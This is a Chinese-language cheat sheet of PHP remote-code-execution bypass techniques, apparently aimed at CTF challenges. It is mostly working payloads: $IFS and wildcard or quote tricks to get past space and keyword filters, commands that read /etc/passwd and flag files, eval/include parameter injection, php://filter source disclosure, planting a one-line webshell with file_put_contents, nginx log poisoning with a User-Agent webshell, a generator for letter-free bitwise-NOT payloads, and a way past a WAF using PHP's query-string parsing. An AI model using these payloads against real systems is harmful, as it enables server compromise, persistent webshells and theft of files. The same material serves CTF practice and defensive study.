PHP的RCE中一些小技巧
空格过滤绕过
1、大括号{}:
{cat,flag.php}
2、$IFS代替空格:
$IFS$9,${IFS},$IFS
这三个都行
Linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符 (internal field separator)。
?cmd=ls$IFS-I
单纯$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名
?cmd=ls${IFS}-l
$IFS$9
后面加个$
与{}
类似,起截断作用,$9
是当前系统shell进程第九个参数持有者始终为空字符串。
?cmd=ls${IFS}$9-l
3、重定向字符<,<>
4、%09
绕过(相当于Tab键)(可以搭配/fl* 使用)
文件名过滤绕过
1、??和绕过
过滤flag文件名用??和绕过
cat /fl??
cat /f*
以上指令等效于cat /flag
2、单引号(')双引号("")反引号(``)反斜杠()绕过正则
cat /fl""ag
c""at /e't'c/pas``s``wd
passthru('cat /fl""ag.p\'\'hp')
对php来说这是fl""ag而不是flag关键字不会匹配上,但是对于linux系统来说cat /fl""ag等效于cat /flag。外面包裹的是单引号里面就是双引号,外面包裹的是双引号里面就是单引号,或者用斜线\去掉功能性(如preg_match中对于标点的过滤就是使用的\去掉功能性),避免报错
3、特殊变量:$1
到$9
、$@
和$*
这些特殊变量输出为空,或者在单词结尾处插入$x,这里的x可以是任意字母
cat /fl$9ag
cat /fl$@ag
c$@at /e$@tc/pas$@swd
cat$x /etc$x/passwd$x
ca$@t /etc$x/passwd$x
4、拼接绕过
a=c;b=a;c=t;$a$b$c /flag.txt
a=f;c=a;d=g;b=l;cat $a$b$c$d.php
6、利用linux中的环境变量
使用环境变量里的字符执行变量
echo $PATH #PATH默认系统环境变量
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
echo f${PATH:5:1}${PATH:8:1}${PATH:66:1}.${PATH:93:1}h${PATH:93:1}
表示flag.php
比如${PATH:5:1}指的是取路径的第五位(从0开始数,第0位是/)的字符,步长为1,即只取一个字母l,以此类推就能拼接成关键字flag.php
没有单独的WAF用preg_match进行waf的
1、直接执行系统命令
?c=system("tac%20fla*"); tac绕过cat检测利用tac与system结合,拿到flag 只有用tac的时候才可以用fla*来代替
2、内敛执行 (反字节符)
?c=echo%20`tac%20fla*`;
注意结尾的分号,有反字节符,要核对一下是否转义。 利用echo命令和tac相结合来实现。flag采用*绕过。``
是反字符节
3、利用参数输入+eval
?c=eval($_GET[1]);&1=phpinfo();
?c=eval($_GET[1]);&1=system('ls');
注意上一行结尾的分号都不能省略。因为是以php代码形式来执行的。
4、利用参数输入+include
这里的eval也可以换为include,并且可以不用括号。但是仅仅可以用来读文件了。
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
也可以尝试写入木马 file_put_contents("123.php",%20%27<?php%20eval($_POST["cmd"]);%20?>%27); 访问123.php,然后就可以连马。可以利用已知的其他函数来凑出所需要的字符串来绕过
5.利用已知的其他函数来 凑出 所需要的字符串来绕过
使用pos(localeconv)
来获取小数点
localeconv可以返回包括小数点在内的一个数组;pos去取出数组中当前第一个元素,也就是小数点。 scandir可以结合它扫描当前目录内容。
?c=print_r(scandir(pos(localeconv())));
可以看到当前目录下有flag.php 通过array_reverse把数组逆序,通过next取到第二个数组元素,也即flag.php
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
getcwd() 函数返回当前工作目录。它可以代替pos(localeconv())
localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回值为数组且第一项为"."
pos():输出数组第一个元素,不改变指针;
current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样
scandir() 函数返回指定目录中的文件和目录的数组。这里因为参数为"."所以遍历当前目录
array_reverse():数组逆置
next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
show_source():查看源码
pos() 函数返回数组中的当前元素的值。该函数是current()函数的别名。
current()返回数组中的当前元素的值。
end()将内部指针指向数组中的最后一个元素,并输出。
next()将内部指针指向数组中的下一个元素,并输出。
prev()将内部指针指向数组中的上一个元素,并输出。
reset()将内部指针指向数组中的第一个元素,并输出。
each()返回当前元素的键名和键值,并将内部指针向前移动。
get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等。
next()将内部指针指向数组中的下一个元素,并输出。
array_pop() 函数删除数组中的最后一个元素并返回其值。
6.利用已知函数 直接 绕过
使用时,需要配合print或者echo使用
payload
echo(var_dump(scandir("/")));
echo(var_dump(file("/flag")));
echo(var_dump(scandir(chr(47).chr(20))));
已知函数
部分常用函数在waf中可能会被过滤掉,需要用一些其它的函数来实现。
var_dump() 用于返回数据的类型和值 GLOBALS:全局变量,打印该变量可以显示该php中的所有变量值
chr() ASCII范围的整数转字符
file_get_contents() 顾名思义获取一个文件的内容,替代system('cat flag;')
scandir() 扫描某个目录并将结果以array形式返回,配和vardump 可以替代system('ls;')
scandir() 函数返回指定目录中的文件和目录的数组。
file()
chr().chr()
phpinfo()
7.使用未被过滤的命令。passthru直接读取
?c=passthru(%22tac$IFS$9fla*%22);
?c=passthru("tac\$IFS\$9fla*");
8.日志注入
?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log
/var/log/nginx/access.log是nginx默认的access日志路径,访问该路径时,在User-Agent中写入一句话木马,然后用中国蚁剑连接即可
9.awk
?c=awk '{printf $0}' flag.php||
10.异或、取反、自增、临时文件
可以参考
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
https://mp.weixin.qq.com/s/fCxs4hAVpa-sF4tdT_W8-w
https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html
https://www.cnblogs.com/cimuhuashuimu/p/11546422.html
这里只写取反的方法,这些方法适用于过滤了所有字母的RCE题目,例如
<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("hacker!");
}
@eval($code);
?>
payload如下,可以使用system、passthru等函数
<?php
//在命令行中运行
/*author yu22x*/
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
含有单独的WAF
可以参考php解析字符串特性
php解析时
1.删除前后的空白符(空格符,制表符,换行符等统称为空白符)
2.将某些字符转换为下划线(包括空格)
num
_num
+num
这些会统一解析为num
,认为是同一个变量,但是waf读取是传入什么就是什么,也就是说waf判断num
的参数传入内容,_num
+num
num
这样就能绕过waf。
例题
waf
源码
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';'); // 存在高危漏洞,可以上传非法字符
}
?>
在js的waf中对num
的解析就是其传入的,但是php中对num
的解析就变成了num